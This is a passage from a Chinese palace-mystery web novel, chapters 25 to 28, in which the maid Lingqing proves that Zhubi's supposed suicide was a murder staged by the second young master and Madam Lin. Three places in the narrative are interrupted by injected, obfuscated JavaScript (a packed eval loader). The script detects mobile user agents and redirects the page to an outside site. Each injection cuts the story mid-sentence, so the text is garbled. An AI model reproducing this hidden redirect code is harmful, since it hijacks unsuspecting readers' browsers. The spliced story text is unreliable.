幸而她这次虽是呼吸急促,但终究没有晕倒。凌青掏出随身带着的薄荷膏,在陆沁鼻下轻抹,陆沁也终于好了点,只是还惊魂未定。 崔令徽一脸沉重:“现场没有外人进来的痕迹,据店里伙计说,渚碧本该今日退房,却迟迟没有动静,屋子也从里面锁着。是他拿来锁开开的,一进门就看见这场景。” 那就是自杀? 那是不可能的,以她对渚碧的了解。此人虽然虚荣傲慢,阴险善妒,但其实也一心想谋求更好的生活。她自私且自信,这次虽然蒙受打击,却不可能就此放弃甚至自杀。 甚至,这种人是拼了命想活下去的。 但这只是她自己的想法,一切,还要根据证据来。 正说话间,仵作匆匆赶来。 “崔大人,下官来晚了。”仵作向崔令徽行礼,然后看向房间,“死者就在里面?” “正是。劳烦王仵作查验一番。” 仵作点点头,走进房间。一见渚碧的死状,也是愣了愣:“这...…死者怎么是跪着的?” 他围着渚碧转了一圈,仔细观察着现场:“老朽验尸多年,很少见到有人跪着撞墙自杀的。而且这表情...……” 凌青在门口听着,忽然开口:“敢问这位师傅,我略懂一些医术,可否让我也跟着看看?或许能帮上什么忙。” 仵作愣了愣,看向崔令徽。崔令徽沉吟片刻,点头道:“让她看看吧。” 凌青跟在仵作身后,默默查看。 “从伤势来看,确实是头部重创致死。”仵作蹲在渚碧身边,仔细检查着,“头骨破裂,血流不止。从血迹和伤口的位置判断,应该是多次撞击墙面造成的。” “那就是自杀了?”崔令徽问道。 “表面看来是这样。”仵作又仔细看了墙上的血迹,“血迹的位置和伤口相符,确实像是撞墙所致。只是这个姿势...…”他皱眉道,“跪着撞墙,实在少见。” 凌青没有说话,而是在房间里慢慢踱步,仔细观察着每一个角落。 房间摆设简单,一张床,一张桌子,一个衣柜。以渚碧的心性,她即使落魄,似乎也不应该住在这种简陋的客栈。 桌上有茶杯,还有些零散的东西,以及一张看似是遗书的纸张。 凌青走到桌边,仔细端详那张纸。上面写着:“渚碧羞愧难当,无颜面对小姐,唯有一死以谢罪过。” 字迹一笔一划,有些简单丑陋。 “确实是渚碧的字。”陆沁小心翼翼地在旁边看,声音颤抖着说道,“她平时就是这样写字的,写得很简单。” 凌青放下纸张,心中更笃定了自己的猜想——渚碧绝不是自杀。 这番遗言,怎么可能是她会说出来的呢。像渚碧那样的性格,只会觉得自己被她陷害,不会意识到自己的错误的。 她又走到仵作跟前,也随着仵作的动作,打量着墙上的血迹。 端详许久,她忽然开口道:“王师傅,您说这是多次撞击造成的?” “正是。”仵作点头,“从伤口的深浅和血量来看,至少撞击了三四次。” 凌青仔细瞧着血迹的分布,蹙起眉:“奇怪...…这血迹的方向似乎有些不对。” 她毕竟不是精通的,但看过不少医术,知道一些大概。现在完全纸上谈兵,竟也察觉出不对。 “怎么不对?”仵作和崔令徽都凑过来看。 “就感觉……如果直面撞过来,血液大概也是竖直溅射到墙面的……” “可现在,都是斜向上飞溅,且血点距离比较远。”崔令徽指着其中几处,严肃道。 “不错!”仵作似乎恍然大悟:“还得是丫头心细!这么一看,血液的流向也不对。按理说,如果她是跪着撞墙,血应该向前流淌。可现在,有一部分血是向后流的。” 崔令徽越听越觉得不对:“你们的意思是...…她不是自杀的?可这屋完全从里面锁死,窗户也闩着,杀人者能从何处走?” 这恍然就是一个密室。 凌青一眼看到了那个似乎闩上的窗户。这是一扇面朝内院的窗户,离地约有一丈多高。她发现窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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仵作鲜少被人这么夸过,那张满是皱纹的老脸霎那间笑开了。 崔令徽的神色却有些复杂,他眉头微皱,打量着凌青,似乎在想什么。 凌青一看他神色,顿觉不好。 一个锋芒毕露、懂得太多的丫鬟,又在他最在意的陆沁身边做贴身侍女,他也许起了什么疑心。 幸而陆沁忽然走了过来,她脸色依旧苍白,但还是强撑着夸了句凌青:“凌青乃是家道中落才入府的,从小习得医术,也博识,见过无数的人,什么样的事都见过。” 崔令徽闻言,神色稍缓,似是放了心。 “那这样看,窗闩上这轻微磨损的痕迹,都是绳索拉拽的时候留下的。”他沉声道。 仵作立刻重新检查渚碧的尸体:“如果真有外人作案,死者身上应该还有其他伤痕。” 他仔细查看了渚碧的手腕、颈部、后额、面部,忽然脸色一变:“快来看!死者的鼻孔里...……” 凌青与崔令徽走过去,只见渚碧的鼻孔里竟然有些许残留物,就像是………布料的碎屑。 “这些碎屑大概就是昨夜留下的。”仵作仔细取出,放在铁盘中让大家看。“而且死者的嘴唇内侧也有轻微的损伤,像是被什么东西用力按压过。” 说着他又检查了渚碧的指甲:“果然,她的指甲里有皮肉和血迹,说明她生前激烈挣扎过,很可能抓伤了凶手。” 被捂压过……布料碎屑……… 陆沁忽然有了一个想法:“她不会是……被捂死的吧?” 这话立即犹如惊雷在天际乍响一般,一时间所有人的眼睛都瞪大了。 “窒息而死?”崔令徽不解:“那杀人者完全可以将她伪装成自缢身亡,为什么要在勒死她之后,按着她的头往墙上撞?” 凌青不语,只是抬头看向屋梁。 其他人都跟着她的目光往上看,看着那尤其低矮,仿佛伸手就能触及到的房梁。 一时间,寒意顺着脊背爬上后颈,只叫人毛骨悚然。 “我想,事情清晰了。”凌青缓缓道:“杀人者原本计划用布巾从后面捂住渚碧的口鼻,让她窒息而死后,制造悬梁自尽的假象。但他进入房间后发现,这梁离地面不过六尺高,如果悬梁,脚必然着地,根本无法形成悬吊的效果。” “然后呢?” “行凶者临时改变计划。渚碧在窒息过程中极度恐惧和痛苦,挣扎中逐渐失去力气,跪倒在地,形成了这种可怖的表情。行凶者见她已经死去,便按着渚碧的头部,用力撞击墙面,制造撞墙自杀的现场。跪地的姿势看起来就像是跪地忏悔后撞墙而死。撞击造成的大量出血,也掩盖了口鼻被捂的痕迹。” 此时她也不怕自己暴露锋芒了,一是因为叶清澜存在于清水县叶家的痕迹早已被她清除干净。她现在的身份就是那个被她父亲埋葬的孤女凌青,任怎么调查也调查不出。 二是她已经显现出自己的能力,那就无需再遮遮掩掩。她非要让众人都见识到她的出众,这样她才能在陆沁身边站稳脚跟。 仵作连连点头:“对!这样就能解释血迹的异常了!那些斜向上飞溅的血点,是凶手用力撞击时造成的!” 崔令徽眼中闪过一道冷光:“那看来………这是一桩精心策划的谋杀案。” 26. 解围 凌青悄悄走出来,站在走廊尽头无人的地方,将手不由自主伸向怀中。 指尖触碰到衣襟内侧的那个香囊时,她的心跳忽快了几分。 之前的那些声音仿佛在空气里飘荡。一会儿是白嬷嬷那句“主子那边虽引开了侍卫………”一会儿是渚碧哭着大喊:“不是我愿意做的……” 这些话交织着,反反复复萦绕在耳边,让她有些头疼。 说话的两人已死,唯一知道真相的陆屏被禁足,现在是不能从人身上查到什么了。 她摩挲着香囊上的梅花印记,抬头看向窗外。 到现在也不知道,这个心上人到底是何身份。也许,这人从头到尾和渚碧的背叛与死亡没有半点关系,两个人只是单纯的相爱。 但她更倾向于认为………这人,就是他们所说的主子。 她看了一眼还在安慰陆沁的崔令徽,缓缓走了过去。 “小姐,奴婢想出去透口气,顺便到药铺买些安神的药材,有些药材府里没有,奴婢正好出来了就采买些。” 陆沁勉强抬起头,强挤出一丝温柔的笑容:“你脸色也不太好,是不是吓着了?买药的时候,也给自己抓一副。” “我在这里陪着你们小姐,你去吧。”崔令徽也点头道。 凌青点头告退,匆匆离开了客栈。 街道左边就是药铺,右边则是女子们常去的衣饰颜值铺子。 凌青停顿片刻,转头就去了右边。 她的脚步,慢慢在一座挂着大牌匾的铺子前停住。 这是京城最大的绣坊———绮绣阁,这里是京城夫人小姐们一向爱光顾的地方,绣品精美,价格不菲。若是要打听这等精致的香囊,这里应当就是最有可能的。 绮绣阁装潢华丽,门庭若市。凌青刚到门口,就听到里面传来一阵银铃般的笑声,却带着几分尖酸刻薄的味道。 她进去一瞧,瞬间看到了一群打扮华贵的贵女,她们中间簇拥着一个明艳少女。 陆微?她怎么在这? 不过想想陆微一向颇受宠爱,虽是姨娘所生,但在府中的身份地位与嫡女并无差别。现在出来逛逛绣坊也是正常的。 看她被这些名门望族家的小姐们簇拥着,似乎在她们之中挺有威望呢。 不过很快,她就知道自己想错了。 “哎呀,□□妹妹,这颜色不太适合你呢。” “就是啊,她年纪还小,用这种颜色会显得老气的。” “不如选些嫩粉色的吧,比较适合你的年纪。” 凌青走到跟前,只见几个小姐围着陆微,正拿着一匹淡粉色的绸缎在她身前比量着。 “哎呀,你看这个颜色多适合你!”其中一个长脸女子笑吟吟地说,“粉嫩嫩的,配你这张娃娃脸正好。” “就是啊,”另一个人附和道,“你这种稚嫩的样子,就该穿这种小家碧玉的款式。那些大红大紫的颜色太过艳丽,不适合你的气质。” 陆微明艳大气,丝毫没有柔弱清纯之感,所以她一向穿石榴红色的衣裳。偏偏这些小姐非要往她身上套那种嫩粉色衣裳。她脸色有些难看,但又不好直接反驳。 “来来来,□□妹妹,你就定这个吧!”长脸女子推着她,“正好我们几个也要做新衣裳,既然我们帮你选了半天,你也顺带帮我们一起订了吧。” “啊,那多不好意思啊。谢谢四小姐了。” 几个小姐你一言我一语,明摆着是要让陆陆微出丑,还要她当冤大头。 其实她们也并不是买不起这衣裳,大概只是想让陆微大出血一次。 陆微气得脸都红了,却又找不到合适的理由拒绝,毕竟对方表面上说的都是好话。她咬着唇,眼中含着怒火,却又拉不下脸来直接翻脸。 凌青暗自摇摇头,这陆微看着厉害,其实也是个色厉内荏的,关键时候就说不出话,真让人看着心急。 她本不想管闲事,只是,那群贵女实在欺人太甚,而她又恰恰最深恶痛绝那些凭借身份打压他人之人。 不就是因为陆微是庶女,看不起她吗。以嫡庶女之分去评判他人者,真是这辈子就这个水平了。 她轻步上前,装成要买衣裳的样子,在众人面前直接拿起一匹石榴红的锦缎,在身前比划。 她无视了陆微的目瞪口呆,随口对掌柜道:“掌柜的,这种颜色是不是现在京中流行呢?” 掌柜看她穿的简单,气度却是不一般,一时拿不准她身份,便道:“是,这匹布单是这个月就卖出去十几匹了。” 凌青故意又拿起一匹宝蓝色的料子:“这种也不错,听说宫里的娘娘们,也爱穿这个颜色,‘委委佗佗,如山如河,象服是宜。’①宫里人都说,女子要穿的大气端庄。前些日子有个外地来的小姐穿着淡粉色的衣裳来赴宴,结果被人私下里议论,说是不懂京中规矩,还停留在以前呢。” 那几位小姐的脸色,瞬间拉了下来。 她装作刚注意到那几个小姐的样子:“咦?几位小姐在为人挑选料子?”然后看了看那匹粉色的料子,有些为难地说,“这个颜色......…” “这个颜色怎么了?”那长脸女子不客气地问道。 凌青微微一笑:“倒也不是不好看,只是现在京中确实不太流行这种颜色了。几位小姐可能......”她欲言又止。 “可能什么?”陆微直接在旁边问道。 “可能是很久没来京中了?”凌青有些尴尬地说,"所以不太了解现在流行的衣裳?” 这话说的实在有些过分了,几个姑娘的脸色彻底变了。她们都是自小长在京中的名门贵女,却被一个路人说成是“很久没来京中”,怎么能不气! 长脸姑娘怒气冲冲:“你胡说什么呢!你是哪家的,也不看看我是谁———” 陆微终于知道该如何反驳了,她拦下了长脸姑娘要去拉扯凌青的手,冷笑道:“姐姐,你这是故意让我穿嫩粉色衣裳,想让我丢人,是不是?” 长脸姑娘急急辩解:“我哪有这个意思!我怎么可能知道…………” 她怎么可能知道嫩粉色已经过时了,她只是单纯的觉得陆微容貌太盛,盖过她们的风头,她想让她穿粉色压一下美貌罢了! 但她也不能承认自己不知道,否则她这京城贵女的名号还往哪搁!身为贵女,却连京中流行什么都完全不清楚,这就更丢人了。 因为凌青演得一本正经,导致几位姑娘根本没怀疑她是不是瞎说,反而都在内心谴责自己审美落后。 过了许久,这几个姑娘终于熬不住了。 “我们......我们还有事,先走了!”她们匆匆逃也似地离开了。 陆微看着她们狼狈的背影,心中大快,露出了一个灿烂的笑意。 但转头看向凌青时,她脸色又瞬间有些别扭。 陆微纠结了半天,最终还是开口道:“你......你来这里做什么?” “奴婢来买些寻常的东西。”凌青又变成了那副冷冰冰的样子,仿佛刚才那个演戏的人不是她。 “什么寻常的东西?”陆微凑近了些,表情有些僵硬,似乎是想要表达感谢却又拉不下脸,“是二姐让你来的吗?” “不是。” “那你刚才说的那些………什么宫里娘娘说女子就要端庄大气………是真的么?” “当然不是。”凌青挑挑眉,“全都是我胡诌的罢了,反正我就是个路人,她们也找不到我。况且,我也不觉得女子就必须要端庄大气,这话也就哄哄她们罢了。” 陆微噗嗤一笑:“你说得可真像,而且你这样子也不像个丫鬟。难怪她们都信你。” 说完,她又似乎有些不好意思,转开头去。 凌青一心只想着正事,无暇与她在这里继续聊,便趁她转头的功夫,默默走开。 凌青故意转了几个弯,才又绕到柜台前,取出那个鸳鸯香囊放到上面,轻声问道:“掌柜的,这个香囊是你们家的吗?” 刚才凌青两句话,直接给砸了单生意,这掌柜正心里有火呢,看也没看便道:“没见过。” 凌青一看他这样,便也不废话什么了,直接从袖中取出一锭银子放在柜台上:“刚才没成的生意,我给您补上。这香囊对我很重要。若是您能仔细看看,这银子就是您的。” 掌柜眼睛瞬间一亮,但很快就控制住了表情,不耐烦道:“姑娘,不是我不愿意帮忙,实在是...…” 凌青又取出一锭银子:“两锭够吗?” 说一句话就能得两锭银子,这可是天大的好事了。 掌柜咽了咽口水,这才拿起香囊仔细端详起来。看了片刻,他又放下了:“这香囊...…确实精致,但真的不是我们这里的。” 凌青细细注视着他的眼睛,立马看出来,他还没说实话。 正当她想着要如何诈他时,陆微不知从何处蹿了出来,直接指着香囊道:“你胡说八道!这香囊上的梅花标记,分明就是你们家的。你们是欺负她眼生,没买过你们家的东西不知道是吧!” 凌青转头,正对上陆微神采奕奕的凤眼,两个人对视片刻过后,陆微别扭地转过脸去。 掌柜的脸色更加难看,支支吾吾道:“这个..………” 陆微指着香囊上那朵精致的梅花:"我来过这里多次,这个标记我认得清清楚楚。你们家的绣娘,就是以这个五瓣梅花著称的。” 凌青见状,立刻配合补充道:“原来如此。掌柜的,莫非这香囊有什么见不得人的秘密?” “是啊,若是寻常的生意,为何要隐瞒?” 两人一唱一和,掌柜的终于招架不住,只得道:“好好好,我说实话。这香囊确实是我们家做的,但不是寻常的绣娘做的,是我们这里最顶尖的绣娘柳婆亲手缝制的。她只接专人订制的活儿,而且从不与外人多说。你们要想知道详情,得去问她才行。” 陆微气呼呼道:“那你刚才为何不说?” 掌柜擦擦汗,无奈道:“这不是看你们气势汹汹的,担心这香囊扯上什么事嘛。” 凌青准备直接去后院寻那柳婆,正要转身离开,却发现陆微还跟在她身后。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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果然……这种有真本事的人是容不得别人说她作品一句不好的。 “哦?既然婆婆记得这么清楚,可见这香囊确实出自您手。” 柳婆婆这才意识到上当了,脸色一沉:“你这小丫头,竟敢诓我!” “婆婆息怒,我也是迫不得已。”凌青蹲下身子,面色诚恳,“这香囊的主人已经死了,死之前手里攥着这香囊。我只想知道当初是谁来订制的,好查出真相。您放心,我绝不会连累到您。” 柳婆盯着凌青看了许久,似乎在判断她话的真假。 凌青任她怎么看,这真诚的神色都丝毫不变,似乎所说之话字字属实。 过了许久,柳婆似乎终是想明白了,叹了口气,放下手中的针线:“既然人都已经死了...…也罢,我就告诉你吧。这香囊确实是我做的,但来订制的不是位姑娘,而是个男子。” “男子?” “看着是个下人,应当是替他主子来的,开口就说要用最好的料子,绣鸳鸯花样,银子多少无所谓。” “那小厮长什么样子?可还记得?” “记得,瘦瘦高高的,有些驼背,约莫十五六岁。”柳婆想了想,又道,“对了,我还记得,他腰间系着一块玉佩,上面有个''陆''字。” “陆”字一出,凌青瞬间心中一震。 果然……这个人与陆府脱不了干系。毕竟渚碧是陆府的丫鬟,能接触到的人本就有限。可当真正听到“陆”字时,她心中还是涌起一阵情绪。 陆府的水……到底还有多深。 ———— 陆沁已被崔令徽送回陆府,凌青便独自一人回去。 此时天色已彻底沉下来,后门就挂着几盏灯笼,勉强能看见脚下的路。风吹得院角的老树枝子“沙沙”响,除此之外再无别的声音。 从后门慢慢往月露榭走去,她脑中不断思索着今日的发现。陆府的小厮替主子定制香囊,那个主子会是谁? 陆老爷陆秉风,表面看文雅温润,刚正不阿,实际上清高冷漠,应当不会朝自己女儿院子里的人下手。大公子陆长卿,花天酒地,浪荡成性,但现在被禁足着。二公子陆砚修……… 正当她几乎要确定答案时,不远处忽然传来轻柔的脚步声。 “真巧,散个步碰着了你,这么晚回来?” 一个熟悉的声音在身后响起,温润如玉,柔和动听。 凌青猛地瞪大眼,血液在此刻仿佛彻底凝固。 时间在这一刻变得粘稠,似是过了许久,也似是只有一秒,她缓缓转身,看向来人。 仍然是之前翩翩公子的模样,每一个举止和表情都那样完美。 “二公子。”她听见自己平静地说。 “我刚从二姐那里来,听说你们今日出府了?”陆砚修缓缓走近,手中折扇轻摇,那双如玉般的手骨节清晰分明。 月光恰好洒在他的手背上,那道浅浅的疤痕,就这样展现在她眼前。 如此清晰。 如此刺眼。 一瞬间,所有的真相如潮水般涌来。 她抬起头,对上陆砚修含笑的眼眸。 原来………是你啊。 27. 隐主 凌青静静地与陆砚修对视着,眼神无波无澜,还是和从前一个样。 “二公子雅性,奴婢却还要急着回去伺候小姐。”她淡声道。 陆砚修轻摇折扇,唇角带着温和无奈的笑意:“你每次见我都这样,好像我是什么洪水猛兽。罢了,我也不碍你了,只是正好看着你了,想问问二姐身体如何,听说她今日受了惊吓,有些担心。” 他停顿了一下,似乎漫不经心地问道,“你们今日出府是不是遇到什么事了?” 来了,终于来了,以他陆砚修的缜密心思,自然是要假装不经意地试探一番,确保事情没有东窗事发。 能向她打听,说明此人表面似乎欣赏她, 觉得她不一样,其实在他心里,她不过是个有些小聪明的下人罢了。他以为随便编个理由就能糊弄过去,以为下人都是没见过世面的蠢货,任由他们主子摆布。 凌青垂眸遮住眼中的讽刺,轻声道:“是渚碧死了。” “渚碧?”陆砚修摆出一副回想的样子,思考片刻才忽然一惊:“是………二姐身边的那个丫鬟?我好像听说她因为什么事被赶出府了,就死了?” “是啊,出府后她便在客栈里自尽了。小姐去看了那场面,受了惊吓,崔大人一直在安慰她。” 陆砚修手中的折扇停了停:“自尽?为何?” “奴婢也不知道。”凌青摇头,神色有些害怕,“只听见崔大人说渚碧的死与小姐无关,让小姐不要自责。奴婢当时在外候着,那等场面,奴婢也不敢看。” 她神色一黯,叹了口气,似乎很是悲伤:“只是没想到渚碧会选择这样的路,她死了倒是解脱了。可怜小姐,一直自责难受,不停地说是自己害死渚碧的。奴婢好不容易给她调养好的身体,就又………” 她低下头,神情愁苦,宛如一个为主子操碎了心的忠仆。 陆砚修眸中的试探之意渐渐消散,也叹了口气:“可怜二姐了,既然如此,你早些回去照顾二姐吧,我改日定去看她。” “是。” 凌青恭敬行礼,目送陆砚修的身影消失在夜色中。 直到再也看不见,她才缓缓直起身,眸中的温顺瞬间消散,取而代之的是深深的冷意。 ———— 月露榭内。 陆沁这几日一直反反复复做着噩梦。她每夜一入睡,便是辗转反侧,睡着睡着额头就满是细汗。 “渚碧……渚碧你别死……” “不要……血……好多血……” “渚碧!” 陆沁猛地坐起,大叫一声,双眼惊恐地瞪大,胸口急剧起伏,整个人都在微微发抖。 凌青立刻走到床边,轻拍她的后背:“小姐?您又做噩梦了?” 陆沁脸色苍白,眼中还带着惊恐:“凌青,我又梦见渚碧了。她浑身是血,说是我害死了她……” 说着,她不由低下头,整个人缩成一团 凌青伸手轻轻扶起她的身子,让她面对着自己,神情认真而冷静:“小姐,小姐!渚碧从来都不是你害死的。 “可是……” “听我说。”凌青的声音很轻,却带着不容质疑的坚定,“渚碧是被另有人害死的,与你无关。我们现在该做的,是找出这个真正的凶手,而不是一味沉溺于噩梦。” 陆沁怔怔地看着她。 “那封遗书,分明就是凶手故意写的,为的就是让小姐您陷入悔恨自责。小姐越是痛苦,真正的始作俑者就越是得意。您现在应该想想,到底是谁,与渚碧暗中有联系,且与您为敌。” 这话一出,陆沁猛地一怔,抬起头来。 她愣了一会儿,随即爬起身,一把抓住凌青的手臂:“什么意思?你是说……杀死渚碧的人是我们身边的人?” “渚碧本身接触的人就有限。”凌青看着她的眼睛一字一句地说道,“她会死,只能说明当初陆屏背后还有人指使。那个主子是真的。” 陆沁瞪大眼睛,满脸不可置信:“这……这怎么可能……” 她缓缓放开手,整个人瘫坐在床上,眼神空洞地望着前方,不知道在想什么。 凌青看着陆沁失魂落魄的样子,心内暗暗叹了一口气。 这个善良天真的小姐,一直生活在祖母的庇护和身边人的谎言中,近日里一番番的打击,实在是对她伤害太大。 但没办法,有些事,总得她自己熬过去。 只是……… 她不由攥紧了一下手指,因为她在思索,自己是否要将调查所得告诉陆沁。 告诉陆沁,她的贴身婢女是被她最疼爱的亲弟弟所杀,连之前的偷盗背叛也是他指使的?陆沁会信吗?先不说陆沁本身就重感情,就算这事放在她这么个薄情寡欲的人身上,大概也不会完全相信。 所以……她现在不能说。她不能将所有的宝押在陆沁这个变数身上。 她深吸一口气,在心里默默做好了决定。 “小姐先歇着,奴婢去给您端药。” 为陆沁掖好被子后,她转身走向茶药间。 刚到门口,就看见了一个熟悉的身影。 崔令徽正背着手,看着陆沁房中的窗。 他的背脊挺得笔直,却莫名给人一种沉重的感觉。即便隔着这样的距离,凌青也能感受到他眉宇间的愁色。他就那样静静地站着,仿佛一座雕像,一心守着自己的心中人。 “崔大人。”凌青走过去,行礼。 崔令徽转身,看见是凌青,连忙问道:“二小姐怎么样?我听下人说她这几日总是做噩梦。 凌青点头:“小姐确实睡得不安稳,奴婢正好去给她端碗安神的汤药。” “都怪我。”崔令徽自责道,“若不是我那天允了她进去,她也不会受那么大的刺激。” “崔大人若是不让小姐进去看,更是给小姐留了遗憾,她将会抱憾终生。” 崔令徽叹气,正要再说什么,外头忽然传来急促的脚步声。 “令徽哥哥!” 一听到这个称呼,凌青立马皱起了眉头。 果然,陆皎一阵风似的冲了进来,脸上带着甜美的笑意,身上的衣服也一看就是新裁新制的。 “令徽哥哥,你近日公务不忙?”她快步走到崔令徽身边,声音里带着明显的埋怨,“你一来就先往二姐院里跑,都不来看看我。” 凌青差点掩饰不住自己内心的鄙夷。长姐收到惊吓,卧病在床,她进了这院子竟一句不问,连表面功夫都不肯做,眼里只有自己的姐夫。 这种只会围着别人的男人转,且自私自利至极的女孩子,到底是怎么被教养出来的。 崔令徽蹙着眉,往后退了一步:“三小姐。” 陆皎却浑然不觉他的疏离,径直想去挽他的胳膊:“二姐病了,这小厨房估计也没开灶。我那准备了你爱吃的白龙臛,你去我那用饭吧?” “三小姐自重。”崔令徽冷冷躲开她的手。 陆皎的手僵硬地停在半空,脸色一变:“什么自重?” “我是二小姐的未婚夫。”崔令徽打断她的话,声音也发严厉,“三小姐,请注意分寸。” “去我院里用个饭就没有分寸了吗?令徽哥哥,你从前可不是这样的,你忘了你送我的瓷娃娃了吗,你那时还夸我………” 因为崔令徽在她小时候送了她个瓷娃娃,她就“恩将仇报”缠上了人家,还动不动就拿这说事,似乎这瓷娃娃是他俩定情信物似的。 凌青冷不丁的出了个声:“三小姐是听说了二小姐病了,特意来看看的吧,那请随奴婢进去。” 陆皎听到她清冷的声音,目光瞬间转移到她脸上,很快,她便认了出来。 “好啊,”陆皎咬牙切齿:“又是你,上次泼了我一身水,还嘲讽我,你就仗着有人给你撑腰是吧!亏你进府的时候装得像模像样,我还求母亲收了你!” 她指着凌青,一脸愤懑不甘地看着崔令徽:“令徽哥哥,这贱人上次泼我水,绝对就是二姐指使的!二姐一向心胸狭窄,也不愿意让我见你!要我看,她现在生这些病全都是因为她自己憋出来的………” “够了!”崔令徽终于忍不住了,厉声道,“请你说话注意分寸!二小姐是你的长姐,她卧于病榻你不关心就算了,还出言诋毁,这是悖逆伦常,品行不端!她是我的未婚妻,容不得你如此无礼!” 这是崔令徽第一次发这么大的脾气。一向温文尔雅的大理寺少卿,此时眉眼间尽是威严,让人不敢直视。 凌青看向陆皎,以为她多多少少会有些理亏的说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059030|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出话。 谁知,这位三小姐是被吓住了,但只有一刻,她的眼泪很快就瞬间涌出:“你……你竟然为了她凶我……” “你就这么凶我!!!” 她开始歇斯底里地大喊,似乎受了天大的冤屈。 凌青看得目瞪口呆:“………” 没救了,就这样了。哪凉快哪埋了去吧,这样的人留着也是浪费干粮。 如果脑子能当饭吃,这人已经被饿死八百回了。 崔令徽显然已经筋疲力尽,转过身不再看她,只冷声道:“二小姐还在屋里休息,你不要吵着她,回去吧。” 陆皎似是还不甘心,在原地站了许久,眼巴巴地看着崔令徽,想要说些什么来挽回局面。她还抱着一丝希望,以为崔令徽只是一时生气。可崔令徽一直背对着她,分明是不想再理会她的意思。 陆皎咬了咬唇,终于不得不转身离开,却是一步一回头,满脸不舍,直到彻底看不见崔令徽的身影,这才真正走了。 周围一时安静下来。 崔令徽闭了闭眼,长叹一声:“让凌青姑娘见笑了。只是她是二小姐的妹妹,我也实在不好说太过了。” “大人言重了。”凌青垂首道,“奴婢去看看小姐醒了没有。” ——— 夜深,陆府一间堂屋内。 此屋四壁皆是上好的花梨木打造,墙上悬挂着前朝大书法家卫鹤辞的《松风帖》,字体飘逸如云。博古架上陈列着青瓷,每一件都价值连城。紫檀木的书案上,端砚墨迹未干,几支毛笔斜倚在洁白的笔山上,旁边散放着几卷线装古籍。 室内焚着上好的沉香,香气清雅不浓,正适合夜读。 陆砚修正伏案挥毫,笔走龙蛇,在宣纸上写下几句诗词。 写完最后一个字,他放下笔,轻吹墨迹:“这首如何?” 对面那人接过诗笺细看,点点头:“不错,比前些日子那首有长进。你这字也越发有章法了。” 陆砚修眼中闪过一丝得意,唇角微扬,那种周身的自信太过,甚至已经算得上自负了。与他之前那副温润清隽的样子判若两人。 “近日里读了些什么书?”对面那人又问道。 “一直在读《权谋策》,想着读史可以明智,做人如做官,总要明白进退之道。”陆砚修笑着回答。 “嗯,君子学以聚之,问以辨之,宽以居之,仁以行之,你有这般觉悟,我很欣慰。”那声音满意地说道,随即,又话锋一转,“那个丫鬟的事,处理得如何了?” 陆砚修眸光微敛:“中间出了些岔子,但好歹是干净解决了。要不是她非要见我,我派个人去做就是了。” 他将手中茶盏重重往桌上一砸,话里带了几分狠劲:“我哪想到她这般难缠,非哭着闹着要名分,要不就讲事情抖擞出去。我本就想以绝后患,这下正好直接动手了。” “她还想要名分?”对面的声音带了些嘲讽,“真是可笑。这种出身的女子,逢场作戏一场便罢了,竟还妄想登堂入室?要不是看她有些用处,我根本不会让这种人留在你身边。” “还是您有先见之明。”陆砚修微微一笑:“她有美貌,却实在是太蠢了。竟真的相信我是全心全意的爱她,所以才如此干脆的背叛了二姐,盼望着和我相守一生。” 这话说完,对面那人听了,不由低低地笑了两声,似乎这是什么极其有意思的事情。 “你能看透这点就好。”那人笑完又说,“男子总是有些需求,找几个干净女子也无妨。但绝不能让她们生了不该生的心思。” 这声音轻描淡写,尾音微微上挑,对一切都是漫不经心。 “若不是怕她胡说八道,我兴许还真会把她养在外面。”陆砚修道。 烛光忽然剧烈地跳动起来,火苗摇曳不定,将房间里的影子拉得扭曲而诡异。就在这一瞬间,烛光的光芒完全照亮了说话人的面容——— 那是一张让见过之人都为之赞叹的美丽面庞,温婉动人,兰心蕙质。只是那双总是温柔如水的眼眸,此刻却闪烁着阴鸷的寒光。她的嘴角还保持着平日里那抹温和的笑意,但在此刻的映照下,却显得格外诡异。 正是那位被誉为“京城第一贤夫人”、慈悲善良,疼爱继女的陆夫人———林雪桐。 28. 了然 春雨连绵了数日,月露榭的海棠花被打的得稀稀落落。一阵风而过,卷着雨珠掠过花朵,又带落几片,在地上晕开了一小片红。 雨水顺着檐角淌成细流,在石阶前汇成浅浅的水洼。 凌青一手撑着油纸伞,一手端着刚从茶药间拿来的汤药,脚步从容地穿过雨雾。 她今日还穿着那件青色衣裳,只是裙摆被细雨打湿了一角,贴在纤细的脚踝上。雨雾中,她的身影显得更单薄了,被风一吹,勒出几分弧度,仿佛一下子就能折断似的。 走到屋檐下,她轻巧地收起油纸伞,任由檐角滴落的雨珠在伞面上汇聚成线。 透过雨幕,她转过身,淡漠的目光看向远处,似在看雨,又似什么也没入眼。 片刻后,她收回目光,转身推门而入。 陆沁的病自从上次受惊就没好,先是头疼欲裂,继而发起高热,请了大夫来看,也只是开了些药。她又心绪不宁,需要静养调理。这一病,便足足躺了四日。 凌青这几日也是寸步不离地守在床前,端药喂汤,擦身换衣,事事亲力亲为。她也有几日没有回自己的屋子了,晚上都是直接在榻边的小凳上打个盹。 没办法,陶嬷嬷和谷翠至今还对渚碧的死难以释怀。且是她当初为了博取陆沁信任,鼓动陆沁去看了渚碧尸体,才引发这病。她不能不负这责任。 “你都几日没好好休息了。”陆沁看着她进来,虚弱地转过头,眼中满含歉疚,“我这病也不是什么大症,你何必如此劳累自己?” 